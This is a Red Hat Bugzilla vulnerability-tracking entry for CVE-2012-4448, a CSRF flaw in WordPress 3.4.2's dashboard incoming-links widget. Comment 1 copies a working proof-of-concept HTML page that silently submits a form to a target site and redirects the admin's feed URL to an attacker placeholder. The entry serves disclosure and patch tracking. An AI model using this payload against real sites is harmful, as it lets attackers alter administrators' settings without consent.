Bug 860261 (CVE-2012-4448)

Summary:	CVE-2012-4448 wordpress: CSRF in the incoming links section of the dashboard
Product:	[Other] Security Response	Reporter:	Jan Lieskovsky <jlieskov>
Component:	vulnerability	Assignee:	Red Hat Product Security <security-response-team>
Status:	CLOSED UPSTREAM	QA Contact:
Severity:	medium	Docs Contact:
Priority:	medium
Version:	unspecified	CC:	gwync
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Hardware:	All
OS:	Linux
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Bug Depends On:	860267, 860268
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Description Jan Lieskovsky 2012-09-25 12:30:58 UTC

A cross-site request forgery (CSRF) flaw was found in the way WordPress, a blog tool and publishing platform, performed sanitization of parameters by registering dashboard widgets for incoming links widget. A remote attacker could provide a specially-crafted web page that, when visited by wordpress administrator could allow the attacker to change the URL of the feed for the incoming links section of the dashboard.

References:
[1] http://packetstormsecurity.org/files/116785/WordPress-3.4.2-Cross-Site-Request-Forgery.html
[2] https://bugs.gentoo.org/show_bug.cgi?id=436198
[3] https://secunia.com/advisories/50715/

Comment 1 Jan Lieskovsky 2012-09-25 12:50:55 UTC

Local copy of the reproducer from [1]:

==================WORDPRESS 3.4.2 CSRF exploit=================
<body onload="javascript:document.forms[0].submit()">
<form action="http://TARGET_GOES_HERE/wp-admin/?edit=dashboard_incoming_links#dashboard_incoming_links" method="post" class="dashboard-widget-control-form">
<h1>How Many Girls You Have? xD))</h1>
<!-- Idea for you: Iframe it -->
<input name="widget-rss[1][url]" type="hidden" value="http://THINK_YOUR_SELF_HOW_YOU_CAN_USE_IT/test.php" />
  
<select id="rss-items-1" name="widget-rss[1][items]">
<option value='1' >1</option>
<option value='2' >2</option>
<option value='3' >3</option><option value='4' >4</option>
<option value='5' >5</option>
<option value='6' >6</option>
<option value='7' >7</option>
<option value='8' >8</option>
<option value='9' >9</option>
<option value='10' >10</option>
<option value='11' >11</option>
<option value='12' >12</option>
<option value='13' >13</option>
<option value='14' >14</option>
<option value='15' >15</option>
<option value='16' >16</option>
<option value='17' >17</option>
<option value='18' >18</option>
<option value='19' >19</option>
<option value='20' selected='selected'>20</option>
</select>
<input id="rss-show-date-1" name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/>
<input type="hidden" name="widget_id" value="dashboard_incoming_links" />
</form>
====================END OF=================================

Comment 2 Jan Lieskovsky 2012-09-25 12:51:38 UTC

CVE request:
[4] http://www.openwall.com/lists/oss-security/2012/09/25/10

Comment 3 Jan Lieskovsky 2012-09-25 12:53:05 UTC

Created wordpress tracking bugs for this issue

Affects: fedora-all [bug 860267]
Affects: epel-all [bug 860268]

Comment 4 Jan Lieskovsky 2012-09-26 08:24:05 UTC

The CVE identifier of CVE-2012-4448 has been assigned to this issue:
http://www.openwall.com/lists/oss-security/2012/09/25/15

Comment 5 Product Security DevOps Team 2019-06-10 10:59:22 UTC

This CVE Bugzilla entry is for community support informational purposes only as it does not affect a package in a commercially supported Red Hat product. Refer to the dependent bugs for status of those individual community products.